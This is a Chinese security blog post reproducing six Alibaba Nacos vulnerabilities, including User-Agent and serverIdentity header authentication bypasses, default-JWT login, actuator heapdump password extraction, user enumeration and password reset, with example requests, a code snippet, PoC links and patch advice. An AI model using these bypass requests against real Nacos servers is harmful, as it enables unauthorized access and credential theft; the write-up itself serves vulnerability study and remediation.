那些年我们一起追过的Nacos

admin 2023年4月5日04:23:25评论118 views字数 3974阅读13分14秒阅读模式

基本介绍

Nacos是一个用于动态服务发现、配置管理和服务治理的开源平台,由阿里巴巴公司贡献。Nacos提供了基于DNS和HTTP的服务发现能力,支持多种注册中心和数据存储方式,包括自身内置的Raft协议和外部的MySQL、Redis等数据存储

功能模块

Nacos主要包括以下几个模块:

  • 注册中心:负责服务注册和发现,提供高可用、可扩展、动态化的服务注册与发现能力。

  • 配置中心:提供统一的配置管理平台,可以动态地对服务进行配置管理和发布,支持灰度发布和版本管理等功能。

  • 服务管理:提供服务健康状态检查、流量管理等功能,支持服务降级、容错处理等机制,保证了系统的高可用性和稳定性。

  • 命名空间:提供了多租户的支持,可以在同一个集群中为不同的应用程序创建不同的命名空间来隔离彼此。

  • 权限管理:提供了基于角色的权限管理机制,可以实现精细化的权限控制,保证了服务的安全性和可控性。

Nacos可以广泛应用于微服务架构、云原生应用、DevOps等场景,为企业级应用提供了一套完整的服务发现和治理方案。

追逐旅程

A、Alibaba Nacos任意用户创建

影响范围

Nacos <= 2.0.0-ALPHA.1

漏洞类型

权限认证绕过

环境搭建

下载安装文件:

https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1

那些年我们一起追过的Nacos

之后执行以下命令启动环境:

./startup.sh -m standalone

那些年我们一起追过的Nacos

之后访问http://your-ip:8848/nacos,默认账号密码为:nacos/nacos

那些年我们一起追过的Nacos

漏洞复现

Step 1:查看用户列表

http://192.168.174.236:8848/nacos/v1/auth/users?pageNo=1&pageSize=1

那些年我们一起追过的Nacos


Step 2:添加用户Al1ex

http://your-ip:8848/nacos/v1/auth/users        POST:Nacos-Server.......
username=Al1ex&password=Al1ex

那些年我们一起追过的Nacos

Step 3:登录测试

那些年我们一起追过的Nacos

成功登录:

那些年我们一起追过的Nacos

漏洞分析

Nacos-Server是用来进行服务间的通信的白名单,比如服务A要访问服务B,如何知道服务A是服务,只需要在服务A访问服务B的时候UA上写成Nacos-Server即可,所以当我们UA恶意改为Nacos-Server的时候,就会被误以为是服务间的通信,因此在白名单当中从而绕过认证,下面我们来看一下关键的处理逻辑位置TrafficReviseFilter.java中的doFilter的设计,在这里可以看到当接收到其他节点服务的请求时应该被pass:

那些年我们一起追过的Nacos

关键的判断逻辑如下:

        if (StringUtils.startsWith(agent, Constants.NACOS_SERVER_HEADER)) {            filterChain.doFilter(req, resp);            return;        }

之后对Constants.NACOS_SERVER_HEADER进行跟踪,之后确定为Nacos-Server:

那些年我们一起追过的Nacos

参考链接

https://github.com/alibaba/nacos/issues/4593

B、Alibab Nacos未授权登录后台

影响范围

Nacos <= 2.1.0 version

漏洞说明

Nacos使用了默认的JWT key导致的未授权访问漏洞,通过该漏洞攻击者可以绕过用户名和密码验证直接登录到nacos用户后台

漏洞复现

Step 1:直接访问Nacos网站,填写任意用户名密码并使用Burpsuite抓包

那些年我们一起追过的Nacos

Step 2:之后拦截回显数据包,回显数据包如下

那些年我们一起追过的Nacos

Step 3:修改回显数据包状态403为200并修改回显数据信息

那些年我们一起追过的Nacos

Step 4:释放数据包后成功登录

那些年我们一起追过的Nacos

漏洞POC

https://github.com/Al1ex/Alibab-Nacos-Unauthorized-Login

那些年我们一起追过的Nacos

C、Alibab Nacos账号密码获取

影响范围

Alibab Nacos *

漏洞概述

SpringBoot框架下拥有一个Actuator用来提供对应用系统进行自省和监控的功能模块,借助于Actuator开发者可以很方便地对应用系统某些监控指标进行查看、统计等,在Actuator启用的情况下如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息,其中Spring Boot 1.x版本默认在Url根目录下,Spring Boot 2.x版本端点移动到/actuator/路径

Alibab Nacos如果是在sping boot框架下搭建,那么将会继承spring boot本身带有的信息泄露漏洞,攻击者可以通过此漏洞获取Alibab Nacos账号密码

漏洞复现

Step 1:Nacos继承自Spring Boot的目录如下:

/nacos/actuator/nacos/actuator/auditevents/nacos/actuator/beans/nacos/actuator/caches/nacos/actuator/conditions/nacos/actuator/configprops/nacos/actuator/env/nacos/actuator/health/nacos/actuator/info/nacos/actuator/httptrace/nacos/actuator/mappings  /nacos/actuator/metrics/nacos/actuator/scheduledtasks/nacos/actuator/loggers/nacos/actuator/threaddump  /nacos/actuator/prometheus/nacos/actuator/heapdump

Step 2:访问/env接口确定漏洞是否存在

那些年我们一起追过的Nacos

Step 3:调用/heapdump接口下载heapdump文件

那些年我们一起追过的Nacos

Step 4:使用MemoryAnalyzer(https://www.eclipse.org/mat/downloads.php)内存查看工具分析headdump

那些年我们一起追过的Nacos

Step 5:执行以下OQL语句获得密码

select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

那些年我们一起追过的Nacos

Step 6:如果可以获取到用户名那边就可以直接登录

http://x.x.x.x/nacos/v1/auth/users?pageNo=1&pageSize=1

那些年我们一起追过的Nacos

D、Alibaba Nacos注册用户枚举

影响范围

Nacos < 2.2.0 

漏洞类型

权限认证绕过

利用条件

影响范围应用

漏洞概述

Alibaba Nacos注册用户枚举

环境搭建

下载安装文件:

https://github.com/alibaba/nacos/releases

那些年我们一起追过的Nacos

之后执行以下命令启动环境:

./startup.sh -m standalone

那些年我们一起追过的Nacos

之后访问http://your-ip:8848/nacos,默认账号密码为:nacos/nacos

那些年我们一起追过的Nacos

漏洞复现

查看用户列表

http://192.168.174.236:8848/nacos/v1/auth/users?pageNo=1&pageSize=9

那些年我们一起追过的Nacos

安全建议

升级到2.2.0版本之后

那些年我们一起追过的Nacos

E、Alibaba Nacos任意用户密码重置

影响范围

Nacos <= 2.2.0

漏洞类型

任意用户密码重置

漏洞概述

Alibaba Nacos任意用户密码重置

环境搭建

下载安装文件:

https://github.com/alibaba/nacos

那些年我们一起追过的Nacos

之后执行以下命令启动环境:

那些年我们一起追过的Nacos

之后访问http://your-ip:8848/nacos,默认账号密码为:nacos/nacos

那些年我们一起追过的Nacos

漏洞复现

Step 1:获取用户名

那些年我们一起追过的Nacos

Step 2:发送一下请求数据包重置密码

POC:https://github.com/Al1ex/Alibab-Nacos-Unauthorized-Reset-PWD

那些年我们一起追过的Nacos

Step 3:登录

那些年我们一起追过的Nacos

F、Alibaba Nacos ServerIdentity权限绕过

影响范围

Nacos <= 2.2.0

漏洞概述

Nacos能让您从微服务平台建设的视角管理数据中心的所有服务及元数据,包括管理服务的描述、生命周期、服务的静态依赖分析、服务的健康状态、服务的流量管理、路由及安全策略。Nacos平台在Header中添加serverIdentity: security能直接绕过身份验证查看用户列表

漏洞复现

使用POC和serverIdentity: security查看当前用户名和密码

GET /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken= HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate Connection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Wed, 15 Feb 2023 10:45:10 GMTserverIdentity: security

那些年我们一起追过的Nacos

安全建议

1、应用切换内网

2、更新到最新版本:https://github.com/alibaba/nacos/releases/tag/2.2.0.1

3、更改application.properties文件中token.secret.key默认值具体更改方法可参考:https://nacos.io/zh-cn/docs/v2/guide/user/auth.html

原文始发于微信公众号(七芒星实验室):那些年我们一起追过的Nacos

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月5日04:23:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   那些年我们一起追过的Nacoshttp://cn-sec.com/archives/1654553.html

发表评论

匿名网友 填写信息